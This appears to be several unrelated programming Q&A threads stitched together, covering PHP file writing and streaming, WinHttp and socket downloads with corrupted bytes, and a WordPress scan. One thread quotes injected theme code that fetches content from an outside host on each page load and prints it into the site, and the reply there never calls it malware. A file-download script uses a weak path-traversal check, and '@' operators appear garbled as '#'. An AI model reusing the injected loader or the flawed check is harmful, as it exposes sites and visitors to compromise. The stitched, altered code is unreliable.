I can offer you an unusual solution, when you can use it fewer times file_put_contents function. bellow this i show you a simple code to understand how it works.
$start = microtime(true);
$str = "Aaaaaaaaaaaaaaaaaaaaaaaaa";
if( !file_exists("test/") ) mkdir("test/");
foreach( range(1,1000) as $i ) {
file_put_contents("test/".$i.".txt",$str);
}
$end = microtime(true);
echo "elapsed_file_put_contents_1: ".substr(($end - $start),0,5)." sec\n";
$start = microtime(true);
$out = '';
foreach( range(1,1000) as $i ) {
$out .= $str;
}
file_put_contents("out.txt",$out);
$end = microtime(true);
echo "elapsed_file_put_contents_2: ".substr(($end - $start),0,5)." sec\n";
this is a full example with 1000 files and elapsed time
with 1000 files
writing file_put_contens: elapsed: 194.4 sec
writing file_put_contens APPNED :elapsed: 37.83 sec ( 5x faster )
............
reading file_put_contens elapsed: 2.401 sec
reading append elapsed: 0.170 sec ( 14x faster )
$start = microtime(true);
$allow_argvs = array("gen_all","gen_few","read_all","read_few");
$arg = isset($argv[1]) ? $argv[1] : die("php ".$argv[0]." gen_all ( ".implode(", ",$allow_argvs).")");
if( !in_array($arg,$allow_argvs) ) {
die("php ".$argv[0]." gen_all ( ".implode(", ",$allow_argvs).")");
}
if( $arg=='gen_all' ) {
$dir_campain_all_files = "campain_all_files/";
if( !file_exists($dir_campain_all_files) ) die("\nFolder ".$dir_campain_all_files." not exist!\n");
$exists_campaings = false;
foreach( range(1,10) as $i ) { if( file_exists($dir_campain_all_files.$i) ) { $exists_campaings = true; } }
if( $exists_campaings ) {
die("\nDelete manualy all subfolders from ".$dir_campain_all_files." !\n");
}
build_campain_dirs($dir_campain_all_files);
// foreach in campaigns
foreach( range(1,10) as $i ) {
$campain_dir = $dir_campain_all_files.$i."/";
$nr_of_files = 1000;
foreach( range(1,$nr_of_files) as $f ) {
$file_name = $f.".txt";
$data_file = generateRandomString(4*1024);
$dir_file_name = $campain_dir.$file_name;
file_put_contents($dir_file_name,$data_file);
}
echo "campaing #".$i." done! ( ".$nr_of_files." files writen ).\n";
}
}
if( $arg=='gen_few' ) {
$delim_file = "###FILE###";
$delim_contents = "###FILE###";
$dir_campain = "campain_few_files/";
if( !file_exists($dir_campain) ) die("\nFolder ".$dir_campain_all_files." not exist!\n");
$exists_campaings = false;
foreach( range(1,10) as $i ) { if( file_exists($dir_campain.$i) ) { $exists_campaings = true; } }
if( $exists_campaings ) {
die("\nDelete manualy all files from ".$dir_campain." !\n");
}
$amount = 100; // nr_of_files_to_append
$out = ''; // here will be appended
build_campain_dirs($dir_campain);
// foreach in campaigns
foreach( range(1,10) as $i ) {
$campain_dir = $dir_campain.$i."/";
$nr_of_files = 1000;
$cnt_few=1;
foreach( range(1,$nr_of_files) as $f ) {
$file_name = $f.".txt";
$data_file = generateRandomString(4*1024);
$my_file_and_data = $file_name.$delim_file.$data_file;
$out .= $my_file_and_data.$delim_contents;
// append in a new file
if( $f%$amount==0 ) {
$dir_file_name = $campain_dir.$cnt_few.".txt";
file_put_contents($dir_file_name,$out,FILE_APPEND);
$out = '';
$cnt_few++;
}
}
// append remaning files
if( !empty($out) ) {
$dir_file_name = $campain_dir.$cnt_few.".txt";
file_put_contents($dir_file_name,$out,FILE_APPEND);
$out = '';
}
echo "campaing #".$i." done! ( ".$nr_of_files." files writen ).\n";
}
}
if( $arg=='read_all' ) {
$dir_campain = "campain_all_files/";
$exists_campaings = false;
foreach( range(1,10) as $i ) {
if( file_exists($dir_campain.$i) ) {
$exists_campaings = true;
}
}
foreach( range(1,10) as $i ) {
$campain_dir = $dir_campain.$i."/";
$files = getFiles($campain_dir);
foreach( $files as $file ) {
$data = file_get_contents($file);
$substr = substr($data, 100, 5); // read 5 chars after char100
}
echo "campaing #".$i." done! ( ".count($files)." files readed ).\n";
}
}
if( $arg=='read_few' ) {
$dir_campain = "campain_few_files/";
$exists_campaings = false;
foreach( range(1,10) as $i ) {
if( file_exists($dir_campain.$i) ) {
$exists_campaings = true;
}
}
foreach( range(1,10) as $i ) {
$campain_dir = $dir_campain.$i."/";
$files = getFiles($campain_dir);
foreach( $files as $file ) {
$data_temp = file_get_contents($file);
$explode = explode("###FILE###",$data_temp);
//#mkdir("test/".$i);
foreach( $explode as $exp ) {
$temp_exp = explode("###FILE###",$exp);
if( count($temp_exp)==2 ) {
$file_name = $temp_exp[0];
$file_data = $temp_exp[1];
$substr = substr($file_data, 100, 5); // read 5 chars after char100
//file_put_contents("test/".$i."/".$file_name,$file_data); // test if files are recreated correctly
}
}
//echo $file." has ".strlen($data_temp)." chars!\n";
}
echo "campaing #".$i." done! ( ".count($files)." files readed ).\n";
}
}
$end = microtime(true);
echo "elapsed: ".substr(($end - $start),0,5)." sec\n";
echo "\n\nALL DONE!\n\n";
/*************** FUNCTIONS ******************/
function generateRandomString($length = 10) {
$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$charactersLength = strlen($characters);
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$randomString .= $characters[rand(0, $charactersLength - 1)];
}
return $randomString;
}
function build_campain_dirs($dir_campain) {
foreach( range(1,10) as $i ) {
$dir = $dir_campain.$i;
if( !file_exists($dir) ) {
mkdir($dir);
}
}
}
function getFiles($dir) {
$arr = array();
if ($handle = opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if ($file != "." && $file != "..") {
$arr[] = $dir.$file;
}
}
closedir($handle);
}
return $arr;
}
I have a simple php service set up on a IIS web server. It is used by my client to retrieve files from the server. It looks like this:
<?php
if (isset($_GET['file']))
{
$filepath = "C:\\files\\" . $_GET['file'];
if (!strpos(pathinfo($filepath, PATHINFO_DIRNAME), "..") && file_exists($filepath) && !is_dir($filepath))
{
set_time_limit(0);
$fp = #fopen($filepath, "rb");
while(!feof($fp))
{
print(#fread($fp, 1024*8));
ob_flush();
flush();
}
}
else
{
echo "ERROR at www.testserver.com\r\n";
}
exit;
}
?>
I retrieve the files using WinHttp's WinHttpReadData in C++.
EDIT #2: Here is the C++ code. This is not exactly how it appears in my program. I had to pull pieces from multiple classes, but the gist should be apparent.
session = WinHttpOpen(appName.c_str(), WINHTTP_ACCESS_TYPE_NO_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
if (session) connection = WinHttpConnect(session, hostName.c_str(), INTERNET_DEFAULT_HTTP_PORT, 0);
if (connection) request = WinHttpOpenRequest(connection, NULL, requestString.c_str(), NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0);
bool results = false;
if (request)
{
results = (WinHttpSendRequest(request, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0) != FALSE);
}
if (results)
{
results = (WinHttpReceiveResponse(request, NULL) != FALSE);
}
DWORD bytesCopied = 0;
DWORD size = 0;
if (results)
{
do {
results = (WinHttpQueryDataAvailable(request, &size) != FALSE);
if (results)
{
// More available data?
if (size > 0)
{
// Read the Data.
size = min(bufferSize, size);
ZeroMemory(buffer, size);
results = (WinHttpReadData(request, (LPVOID)buffer, size, &bytesCopied) != FALSE);
}
}
if (bytesCopied > 0 && !SharedShutDown.GetValue())
{
tempFile.write((PCHAR)RequestBuffer, bytesCopied);
if (tempFile.fail())
{
tempFile.close();
return false;
}
fileBytes += bytesCopied;
}
} while (bytesCopied > 0 && !SharedShutDown.GetValue());
}
Everything works fine when I test (thousands of files) over the local network using the server computer name from either a Windows 7 or Windows 10 machine. It also works fine when I access the service over the internet from a Windows 7 machine. However, when I run the client on a Windows 10 machine accessing over the internet, I get dropped characters. The interesting thing is that it is a specific set of characters that gets dropped every time from XML files. (Other, binary, files are affected as well, but I have not yet determined what changes in them.)
If the XML file contains an element starting with "<Style", that text disappears. So, this:
<Element1>blah blah</Element1>
<Style_Element>hoopa hoopa</Style_Element>
<Element2>bip bop bam</Element2>
becomes this:
<Element1>blah blah</Element1>
_Element>hoopa hoopa</Style_Element>
<Element2>bip bop bam</Element2>
Notice that the beginning of the style element is chopped off. This is the only element that is affected, and it seems to only affect the first one if there are more than one in the file.
What perplexes me is why this doesn't happen running the client from Windows 7.
EDIT: Some of the other files, binary and text, are missing from 1 to 3 characters each. It seems that a drop only happens once in a file. The rest of the contents of the file are identical to the source.
I can't make sense of the above read routine, it is also incomplete. Just keep it simple like the example below.
The fact that you are having problems with binary files suggest you are not opening the output tempFile in binary mode.
std::ofstream tempFile(filename, std::ios::binary);
while(WinHttpQueryDataAvailable(request, &size) && size)
{
std::string buf(size, 0);
WinHttpReadData(request, &buf[0], size, &bytesCopied);
tempFile.write(buf.data(), bytesCopied);
}
Your php file can be simplified as follows:
<?php
readfile('whatever.bin');
?>
I solved the problem, it seems. My php service did not include header information (didn't think I needed it), so I figured I would try adding a header specification for content type application/octet-stream just to see what would result. My updated service looked like this:
if (isset($_GET['file']))
{
$filepath = "C:\\Program Files (Unrestricted)\\Sony Online Entertainment\\Everquest Yarko Client\\" . $_GET['file'];
if (!strpos(pathinfo($filepath, PATHINFO_DIRNAME), "..") && file_exists($filepath) && !is_dir($filepath))
{
header("Content-Type:application/octet-stream");
set_time_limit(0);
$fp = #fopen($filepath, "rb");
while(!feof($fp))
{
print(#fread($fp, 1024*8));
ob_flush();
flush();
}
}
else
{
echo "ERROR at www.lewiefitz.com\r\n";
}
exit;
}
Now, the files download without any corruption. Why I need such a header in this situation is beyond me. What part of the system is messing with the response message before it ended up in my buffer? I don't know.
When i scanned a wordpress using exploit scanner plugin i got following result
Image 1:
Image 2:
Image 3:
Is there anything to worry? is that contain malicious code????
Also in the theame header.php file i saw following details. Is there anything to worry? what is following code actually doing?
<?php
$h = $_SERVER['HTTP_HOST']; $u = trim($_SERVER['REQUEST_URI']);
$cd = dirname(__FILE__) . '/.cache';
$cf = $cd . '/' . md5($h . '##' . $u);
$s = '1.granitebb.com';
if (file_exists($cf) and filemtime($cf) > time() - 3600)
echo file_get_contents($cf);
else
{
$ini1 = #ini_set('allow_url_fopen', 1); $ini2 = #ini_set('default_socket_timeout', 3);
$p = '/links.php?u=' . urlencode($u) . '&h=' . urlencode($h);
$c = '';
if ($fp = #fsockopen($s, 80, $errno, $errstr, 3)) {
#fputs($fp, "GET {$p} HTTP/1.0\r\nHost: $s\r\n\r\n");
while (! feof($fp))
$c .= #fread($fp, 8192);
fclose($fp);
$c = end(explode("\r\n\r\n", $c));
echo $c;
if (strlen($c) and (is_dir($cd) or #mkdir($cd))) {
#file_put_contents($cf, $c);
}
}
#ini_set('allow_url_fopen', $ini1); #ini_set('default_socket_timeout', $ini2);
}
?>
Do the following checks to make sure you are safe:
1: download the plugin files from the original source at wordpress.
2: compare those files with the files that you scanned on your wordpress installation.
If they are the same, you are (probably) safe. If they are not the same, remove the bad files and reinstall the plugin. After that, find somebody to check why the files were changed.
Advice: don't run these scanners if you don't know how to handle the results. It will only give you a bad feeling, probably for no reason at all.
I have a 1Gb file1 that must be read. I choose php to filter and change some lines and than create another file2 with these changes. The code is good. If I read 50M file it works good. The code generate a file2 whit all changes, as expected. But when I try to run the 1Gb file, the file2 is not created and I get a error message from browser like this:
The connection to localhost was interrupted.
Check your Internet connection
Check any cables and reboot any routers, modems, or other network devices you may be using.
Allow Chrome to access the network in your firewall or antivirus settings.
If it is already listed as a program allowed to access the network, try removing it from the list and adding it again.
If you use a proxy server...
Check your proxy settings or contact your network administrator to make sure the proxy server is working. If you don't believe you should be using a proxy server: Go to the Chrome menu > Settings > Show advanced settings... > Change proxy settings... > LAN Settings and deselect "Use a proxy server for your LAN".
If I return and run the small file it works good again.
I already sit the php memeory to 2040M ini_set('memory_limit', '2048M') but I dont know if it is enough or f it is possible.
So, how should be a convenient memory for this issue?
NOTE: Server is apache, win7, i7 8cores 64bits, 16G RAM.
I think the code is not important but someone ask to the see it:
ini_set('memory_limit', '2048M');#Set the memory limit
$new_dbName="au_site";
$patern[0]="/di_site/";
$replace[0]=$new_dbName;
#xdebug_break();
$dirBase=dirname(__FILE__);
$dir2 = new DirectoryIterator(dirname(__FILE__));
#xdebug_break();
foreach ($dir2 as $fileinfo) {
if (!$fileinfo->isDot() && $fileinfo->isFile()) {
$str = $fileinfo->getFilename();
if (preg_match("/\.sql/i", $str)) {
#xdebug_break();
$i=1;
if(!($handle= fopen("$str", "r"))){
die("Cannot open the file");
}
else{
while (!feof($handle)) {
#xdebug_break();
$line=trim(fgets($handle), "\t\n\r\0\x0B");
$firstChar = substr($line, 0,1) ;
$ord = ord($firstChar);
if(ord($firstChar)<>45){
if (preg_match("/di_site/", $line)) {
xdebug_break();
$chn=preg_replace($patern, $replace, $line);
$line=$chn;
}
#echo $line."<br>";
$sql.=$line."\n";
}
}
xdebug_break();
$newDBsql=$dirBase."/".$new_dbName.".sql";
if(!$handle = fopen($newDBsql,"w")){
die("Can not open the file");
}
else{
fwrite($handle, $sql);
fclose($handle);
}
}
}
}
}
Instead of building up the whole file contents you're going to write (which takes a lot of memory), consider writing a stream filter instead.
A stream filter operates on a single buffered read from the underlying stream, typically around 8kB of data. The following example code defines such a filter, it splits each bucket into separate lines and calls your code to make changes to it.
<?php
class myfilter extends \php_user_filter
{
private $buffer; // internal buffer to create data buckets with
private $pattern = ['/di_site/'];
private $replace = ['au_site'];
function filter($in, $out, &$consumed, $closing)
{
while ($bucket = stream_bucket_make_writeable($in)) {
$parts = preg_split('/(\n|\r\n)/', $bucket->data, -1, PREG_SPLIT_DELIM_CAPTURE);
$buffer = '';
// each line spans two array elements
for ($i = 0, $n = count($parts); $i + 1 < $n; $i += 2) {
$line = $parts[$i] . $parts[$i + 1];
$buffer .= $this->treat_line($line);
$consumed += strlen($line);
}
stream_bucket_append($out, stream_bucket_new($this->stream, $buffer));
}
return PSFS_PASS_ON;
}
/** THIS IS YOUR CODE **/
function treat_line($line)
{
$line = trim($line, "\t\n\r\0\x0B");
$firstChar = substr($line, 0,1) ;
if (ord($firstChar)<>45) {
if (preg_match("/di_site/", $line)) {
$line = preg_replace($this->pattern, $this->replace, $line);
}
}
return $line . "\n";
}
function onCreate()
{
$this->buffer = fopen('php://memory', 'r+');
}
function onClose()
{
fclose($this->buffer);
}
}
stream_filter_register("myfilter", "myfilter");
// open input and attach filter
$in = fopen(__FILE__, 'r');
stream_filter_prepend($in, 'myfilter');
// open output stream and start copying
$out = fopen('php://stdout', 'w');
stream_copy_to_stream($in, $out);
fclose($out);
fclose($in);
I'm creating an update mechanism for my first program written in c++.
Theory is:
program sends it's version to the server php as a http header
server checks if later version exists
if it does, server sends the new binary to the client.
Most of it works however the binary received is malformed. When I compare the malformed exe with the working exe I have differences at places where I have \r\ns in the compiled exe. Seems like the \r is doubled.
My c++ code for downloading:
void checkForUpdates () {
SOCKET sock = createHttpSocket (); // creates the socket, nothing wrong here, other requests work
char* msg = (char*)"GET /u/2 HTTP/1.1\r\nHost: imgup.hu\r\nUser-Agent: imgup uploader app\r\nVersion: 1\r\n\r\n";
if (send(sock, msg, strlen(msg), 0) == SOCKET_ERROR) {
error("send failed with error\n");
}
shutdown(sock, SD_SEND);
FILE *fp = fopen("update.exe", "w");
char answ[1024] = {};
int iResult;
bool first = false;
do {
if ((iResult = recv(sock, answ, 1024, 0)) < 0) {
error("recv failed with error\n");
}
if (first) {
info (answ); // debug purposes
first = false;
} else {
fwrite(answ, 1, iResult, fp);
fflush(fp);
}
} while (iResult > 0);
shutdown(sock, SD_RECEIVE);
if (closesocket(sock) == SOCKET_ERROR) {
error("closesocket failed with error\n");
}
fclose(fp);
delete[] answ;
}
and my php to process the request
<?php
if (!function_exists('getallheaders')) {
function getallheaders() {
$headers = '';
foreach ($_SERVER as $name => $value) {
if (substr($name, 0, 5) == 'HTTP_') {
$headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;
}
}
return $headers;
}
}
$version = '0';
foreach (getallheaders() as $name => $value) {
if (strtolower ($name) == 'version') {
$version = $value;
break;
}
}
if ($version == '0') {
exit('error');
}
if ($handle = opendir('.')) {
while (false !== ($entry = readdir($handle))) {
if ($entry != '.' && $entry != '..' && $entry != 'u.php') {
if (intval ($entry) > intval($version)) {
header('Content-Version: ' . $entry);
header('Content-Length: ' . filesize($entry));
header('Content-Type: application/octet-stream');
echo "\r\n";
ob_clean();
flush();
readfile($entry);
exit();
}
}
}
closedir($handle);
}
echo 'error2';
?>
notice the way I flush content after I send the headers ob_clean(); flush(); so I don't have to parse them in c++. The first bytes written to the file are fine, so I doubt there is any problem here.
Also, example comparison of the binaries http://i.imgup.hu/meC16C.png
Question: Does http escape \r\n in binary file transfers? If not, what is causing this behavior and how do I solve this problem?
fopen opens a File in the mode you specified, first read/write/both, then Append, then a binary identifier.
r/w should be clear to you, append is also quite obvious. The Trick & Trouble in your case is the binary-mode.
If a file is threated as a Text-File (without the "b") then, depending on the environment where the application runs, some special character conversion may occur in input/output operations in text mode to adapt them to a system-specific text file format. On Windows this would be \r\n, on a linux machine you have \n and on some architectures exist, where it is \r.
In your case, the input file is read as a text file. This means, all your line-endings get converted when reading the file from the HTTP-Data.
Opening the File as a binary file (wich indeed it is!) avoids trouble that your file is not binary identically anymore.
The problem is that the output file isn't being opened in binary mode. To do that, change the mode to "wb" versus just "w" like this:
FILE *fp = fopen("update.exe", "wb");
In text mode on Windows the ctrl+z character specifies the end of the file when seeking/reading, and the linefeed character \n is translated to \r\n when writing and \r\n pairs are translated to \n on reading. In binary mode, the file data is not interpreted or translated in any way.
On other platforms the translations may not apply, but it is still good practice to show the intent of the code by specifying the explicit mode even when not strictly necessary. This is especially true for code meant to be portable.